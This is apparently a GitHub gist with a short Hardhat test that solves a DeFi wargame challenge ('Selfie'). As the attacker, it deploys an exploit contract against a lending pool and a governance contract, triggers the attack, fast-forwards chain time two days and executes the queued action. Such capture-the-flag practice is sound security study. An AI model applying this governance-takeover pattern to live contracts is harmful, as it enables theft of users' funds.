Created
January 28, 2023 18:41
-
-
Save az0mb13/7ee5289da0c68e89b3bbeac335142c73 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it('Exploit', async function () { | |
const SelfieExploitFactory = await ethers.getContractFactory('SelfieExploit', attacker); | |
const exploitContract = await SelfieExploitFactory.deploy(this.pool.address, attacker.address, this.governance.address); | |
await exploitContract.attack(TOKENS_IN_POOL); | |
await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); | |
await exploitContract.execute(); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment